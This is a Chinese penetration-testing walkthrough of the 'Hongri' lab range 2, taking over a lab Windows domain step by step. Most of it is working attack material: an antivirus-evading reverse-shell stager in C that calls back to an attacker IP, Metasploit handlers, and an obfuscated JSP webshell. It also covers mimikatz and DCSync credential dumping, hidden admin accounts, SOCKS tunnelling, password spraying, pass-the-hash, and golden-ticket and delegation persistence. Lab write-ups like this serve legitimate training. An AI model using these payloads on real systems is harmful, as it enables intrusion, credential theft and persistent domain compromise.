红日靶场二的流程笔记
文章说明 环境说明:
环境搭建部分不介绍
在打靶场前我已经在这个靶场做过很多攻击测试,在某些地方可能会和原版靶场不同
因为环境不同,可能某些攻击无法在原本靶场复现
网络配置:
10.10.10.xxx
(不可访问外网):DC、PC、WEB
192.168.12.xxx
(可访问外网):PC、WEB
Web 主机端口与漏洞 使用 Nmap 扫描网段发现存活的主机:
1 nmap 10.10.10.130/24 -oA nmapscan/duan
存活10.10.10.11
,开放80,135,139,445,1433,3389,7001
等端口,Nmap 做一下漏洞扫描:
1 nmap 10.10.10.11 --script=vuln -p 80,135,139,445,1433,3389,7001
发现 ms12-020(蓝屏攻击)、ms17-010 等漏洞,但都无法利用,ms17-010 可能需要有效的用户名和凭据,接下来以 Web 为入口点尝试,通过目录扫描在 7001 发现 WebLogic 管理服务:
1 http://10.10.10.11:7001/console/login/LoginForm.jsp
使用 WeblogicTool_1.2 进行漏洞检查和利用,发现存在 CVE_2020_2551_ECHO,注入哥斯拉内存马,使用哥斯拉连接,拿到 Shell
Web 主机信息收集与渗透 收集一些信息,发现:存在域de1ay.com
,本主机名web.de1ay.com
,存在两个网卡,192.168.12.161
、10.10.10.11
,直接上传 cs、msf 的木马,发现不能上线,被数字卫士拦截,用一个 MSF 免杀程序来测试,以下为源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <windows.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib" ) void main () { WSADATA ws_Data; WSAStartup(MAKEWORD(2 , 2 ), &ws_Data); SOCKET sock = socket(AF_INET, SOCK_STREAM, 0 ); SOCKADDR_IN sock_info = { 0 }; sock_info.sin_family = AF_INET; sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.12.135" ); sock_info.sin_port = htons(9999 ); connect(sock, (SOCKADDR*)&sock_info, sizeof (SOCKADDR_IN)); DWORD recvSize; recv(sock, (char *)&recvSize, sizeof (DWORD), 0 ); PBYTE recbuf = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, recvSize); DWORD recvSize2 = recvSize; PBYTE recbuf2 = recbuf; DWORD i = 1 ; while (i > 0 && recvSize > 0 ) { i = recv(sock, (char *)recbuf, recvSize, 0 ); recbuf = recbuf + i; recvSize = recvSize - i; } VirtualProtect(recbuf2, recvSize2, PAGE_EXECUTE_READWRITE, &recvSize); __asm__ __volatile__ ( "movl %0, %%edi \n\t" "jmp *%1 \n\t" : : "r" (sock), "r" (recbuf2) : "%edi" ); }
详见:MSF 上线探究与免杀 ,但注意上传的目录不对的话会在运行时直接被数字卫士拦截,这里选择C:/Users/de1ay/Desktop/
,在 MSF 开启监听:
1 2 3 4 5 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LPORT 9999 set LHOST 192.168.12.135 exploit
在哥斯拉使用以下命令执行木马:
成功上线 MSF,但需要尽快迁移进程:
1 2 3 4 5 6 # 查看进程 ps # 查看 msf 获取 shell 的进程号 getpid # 迁移进程、512 为 vmtoolsd,较为稳定 migrate 512
如果想派生到 CS,可以先在 CS 上建立一个反向 HTTP 监听,然后执行下面的命令:
1 2 3 4 5 6 7 8 9 bg use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.12.135 set lport 4446 set DisablePayloadHandler True set PrependMigrate True set session 1 exploit
就成功上线 CS 了,在 CS 也需要迁移进程,可以使用 CS 进行 Hash 的抓取:
1 2 3 4 hashdump # Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # de1ay:1000:aad3b435b51404eeaad3b435b51404ee:01c234eb550fca678d3cbf91628c9d2f::: # Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
同时可以进行内网的主机存活探测
这里没有开启另一台靶机,所以只有两个,因为我们已经是 SYSTEM 权限,所以无需提权,在做权限维持新建用户的时候被数字卫士拦截,于是想着去关闭数字卫士,使用的方法是通过远控软件进行关闭,这里选择的是 ToDesk,下载地址:https://www.todesk.com/download.html,将下载的 ToDesk 上传至靶机的桌面:
接着运行下面的命令静默安装:
1 shell C:\Users\de1ay\Desktop\ToDesk_4.7.2.0_xp.exe /S
在靶机上查是否存在以下目录来确定是否安装成功:
安装完成后应该会自动启动,若在进程列表里没有找到尝试手动启动,但可能会被数字卫士拦截:
抱着模拟真实渗透场景的原则,我们不能直接在靶机上查看 ToDesk 的设备代码和密码,我们需要在下面的文件里读取:
将文件下载,文件部分内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [ConfigInfo] passUpdate =3 PrivateScreenLockScreen =1 autoLockScreen =0 downloadtimes =202310190 clientId =211237490 PrivateData =93895 f59c6346def400fd3292435acdd7ad9d89a9005c91a801d445991abdcd9c1ef33ef0ef41248349649f1a40f34465deb0f60e255122fcb PluginExpiresDays =0 Resolution =1920 x1080isOpenTempPass =1 updatePassTime =20231019192542 language =936 isAdmissionControl =1 WeakPasswordTip =0 Version =4.7 .2.0 isUpdate =0 tempAuthPassEx =c132c740215bf6b2e5e5cec82aa1572b739398c7f142fe7335fb3769481b035df8af48bc411d97ae450f0540dd4eaf69131bce730b7e9803 PresetDialogUpdateDate =2023 -10 -19 PresetDialogShowCount =0 UpdateFrequencyPromptBubble =0
我们可以轻易拿到设备代码为clientId=211237490
,密码则需要我们把这些配置复制到我们本地的 ToDesk 配置文件中,我们再次启动本地的 ToDesk 时,本地的密码就是靶机的 ToDesk 密码,尝试连接:
关闭数字卫士,新建一个管理员用户:
1 2 net user hacker$ hacker###666 /add net localgroup Administrators hacker$ /add
作为权限维持的一个方式,RDP 连接上去:
可以再写一个 WebShell 作为权限维持的手段,如下:
1 2 3 4 5 6 7 8 9 # 把 shell 写到控制台 images 目录中 \Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp # 写到 uddiexplorer 目录中 \Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp http://*.*.*.*:7001/uddiexplorer/shell.jsp # 在应用安装目录中 \Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp http://*.*.*.*:7001/项目名/shell.jsp
这里我选择的是第一种方式,下面是一个 Shell 的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%@ page pageEncoding="utf-8" %> <%@ page import ="java.util.Scanner" %> <HTML> <title>Just For Fun</title> <BODY> <H3>Build By LandGrey</H3> <FORM METHOD="POST" NAME="form" ACTION="#" > <INPUT TYPE="text" NAME="q" > <INPUT TYPE="submit" VALUE="Fly" > </FORM> <% String op="Got Nothing" ; String query = request.getParameter("q" ); String fileSeparator = String.valueOf(java.io.File.separatorChar); Boolean isWin; if (fileSeparator.equals("\\" )){ isWin = true ; }else { isWin = false ; } if (query != null ) { ProcessBuilder pb; if (isWin) { pb = new ProcessBuilder (new String (new byte []{99 , 109 , 100 }), new String (new byte []{47 , 67 }), query); }else { pb = new ProcessBuilder (new String (new byte []{47 , 98 , 105 , 110 , 47 , 98 , 97 , 115 , 104 }), new String (new byte []{45 , 99 }), query); } Process process = pb.start(); Scanner sc = new Scanner (process.getInputStream()).useDelimiter("\\A" ); op = sc.hasNext() ? sc.next() : op; sc.close(); } %> <PRE> <%= op %>> </PRE> </BODY> </HTML>
在实际中上面的代码也许需要修改,以满足隐蔽和加密的需求,接下来搭一个直通内网的代理,这里使用 EW 来搭建 Socks 隧道:
1 2 3 4 # Linux 靶机上运行 ./ew_for_linux64 -s rcsocks -l 1080 -e 8888 # Windows 靶机上运行 ew_for_Win -s rssocks -d 192.168.12.135 -e 8888
在 Kali 添加以下 dns 解析,为下文做准备:
1 2 3 4 10.10.10.10 dc.de1ay.com 10.10.10.13 pc2.de1ay.com 10.10.10.11 web.de1ay.com 10.10.10.12 pc.de1ay.com
配置 Proxychains,编辑vim /etc/proxychains4.conf
:
1 2 3 4 5 [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080
接下来使用 Nmap 扫描内网:
1 proxychains nmap 10.10.10.1/24
可以扫描,不过速度慢的可怜,这里使用 Proxifier 在 Windows 上扫描:
1 nmap -sT -Pn 10.10.10.10,11,12
使用 TCP 扫描,禁用 Ping:
但扫描速度还是比较慢,这里直接将扫描器扔到靶机里去扫描,这里使用 fscan:
1 fscan64.exe -h 10.10.10.1/24
这几个 MS17010 不准备去打,接下来上传 Mimikatz,使用下面的命令抓取明文密码:
1 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > test.txt
得到几个关键的密码:
1 2 DE1AY\mssql 1qaz@WSX WEB\de1ay QWER!@#123
得到了一个域账户和一个本地账户和相应的密码
域内横移 现在我们已经知道域内有三台机器,10.10.10.10
是域控,我们拿下了 2008,还剩一台 Win7 和一台 2012 域控,既然有了有效的凭证,我们要使用这些凭证去横移,本应该去枚举域内的用户,这里有了有效的域账户,所以直接去查询,使用 PowerSploit 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 导入脚本 Import-Module .\Recon.psd1 # 设置凭证 $ uname ="de1ay\mssql" $ pwd =ConvertTo-SecureString "1qaz@WSX" -AsPlainText –Force$ cred=New-Object System.Management.Automation.PSCredential($uname ,$pwd ) # 查找域用户 Get-DomainUser -Credential $cred | findstr samaccountname # 导出 Domain Admins 组 Get-DomainGroupMember -identity "Domain Admins" -Domain de1ay.com -DomainController 10.10.10.10 -Credential $cred | findstr MemberName # 导出 Administrators 组 Get-DomainGroupMember -identity "Administrators" -Domain de1ay.com -DomainController 10.10.10.10 -Credential $cred | findstr MemberName # 远程桌面管理组的成员 Get-DomainGroupMember -identity "Remote Desktop Users" -Domain de1ay.com -DomainController 10.10.10.10 -Credential $cred | findstr MemberName
筛选出以下几个账户
尝试使用密码喷洒横移到这几个账户,这里使用 Kerbrute 来进行密码喷洒:
1 2 kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.10 -d de1ay.com .\User.txt 1qaz@WSX kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.10 -d de1ay.com .\User.txt QWER!@#123
可以看到成功测试出来了很多的账户,其中包括域管理员用户Administrator@de1ay.com:QWER!@#123
,我们可以尝试使用这个凭证借助之前搭建的 Socks 代理去连接域控和另一台 Win7:
连接成功,同样做一下权限维持:
1 2 net user hacker$ hacker###666 /add net localgroup Administrators hacker$ /add
对于 Win7 我们也可以使用这个账号密码进行登录,上传 Mimikatz 抓一下凭证:
1 mimikatz.exe "lsadump::dcsync /domain:de1ay.com /all /csv" "exit" > out.txt
有时候不想登录 DC,也可以导出域内哈希,这里使用 impacket 下的脚本:
1 proxychains secretsdump.py de1ay/administrator:QWER\!@#123@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-user krbtgt
和上面的结果相同,接下来是 Win7,RDP 肯定可以访问,这里换一种方法,获取一个交互式的 Shell,使用 psexec:
1 proxychains psexec.py administrator@10.10.10.12 -hashes :01c234eb550fca678d3cbf91628c9d2f
如果用户登录,数字卫士启动可能会导致失败,或者使用 wmiexec,不会上传文件:
1 proxychains wmiexec.py administrator@10.10.10.12 -hashes :01c234eb550fca678d3cbf91628c9d2f
可绕过数字卫士,用一样的方法,ToDesk 上线:
1 2 3 4 5 6 7 8 # 上传 ToDesk lput /home/paoka/Temp/hongri/todesk/ToDesk_Setup.exe C:\Users\de1ay\Desktop # 静默安装 start C:\Users\de1ay\Desktop\ToDesk_Setup.exe /S # 查看是否成功 dir "C:\Program Files\ToDesk" # 读取密码文件 type "C:\Program Files\ToDesk\config.ini"
更换本地文件,连接!
关掉数字卫士,做权限维持:
1 2 net user hacker$ hacker###666 /add net localgroup Administrators hacker$ /add
上传 Mimikatz,读取凭证:
1 mimikatz "privilege::debug" "token::elevate" "lsadump::sam" "exit" > pass.txt
到此,三台靶机全部拿下!
域内权限维持 拿到域后,可以在域内做权限维持,首先来制作黄金票据(白银票据类似):
1 2 3 4 5 6 7 # 制作黄金票据 ticketer.py -nthash 82dfc71b72a11ef37d663047bc2088fb -domain-sid S-1-5-21-2756371121-2868759905-3853650604 -domain de1ay.com administrator export KRB5CCNAME=administrator.ccache # 利用黄金票据 proxychains wmiexec.py de1ay.com/administrator@web -k -no-pass proxychains wmiexec.py de1ay.com/administrator@pc -k -no-pass proxychains wmiexec.py de1ay.com/administrator@dc -k -no-pass
这样就做好了黄金票据,接下来可以尝试打造变种的黄金票据,以下为简介:
当拿到域控后,需要做权限维持,假设服务 B 为 krbtgt,服务 A 为我们控制的一个账号。配置服务 A 到服务 B 的基于资源的约束性委派, 那么我们控制的账户就可以获取 KDC(Key Distribution Centre)服务的 ST 服务票据(也就是 TGT 认购权证)。于是我们就可以伪造任何权限用户的 TGT 认购权证,就相当于打造了一个变种的黄金票据
详细可参考:利用基于资源的约束性委派打造变种黄金票据 ,这是基于资源的约束性委派,还有约束性委派的例子:利用 Kerberos delegation 打造变种黄金票据 ,利用 Powermad.ps1 脚本新建一个密码为 gttest 的机器账号,密码为 123456:
1 2 Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount gttest -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
再配置 gttest 到 krbtgt 的基于资源的约束性委派(需要域管权限):
1 2 3 4 # 配置 Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount gttest$ # 查询 Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
配置完成后,不管域管用户密码如何改变,我们都对该域有完全的控制权限:
1 2 3 4 proxychains getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator de1ay.com/gttest\$:123456 export KRB5CCNAME=administrator.ccache # set KRB5CCNAME=administrator.ccacheproxychains smbexec.py -no-pass -k administrator@dc.de1ay.com -dc-ip 10.10.10.10
如上图,可以在域控执行命令,这种方法相对于传统的黄金票据动作稍微有点大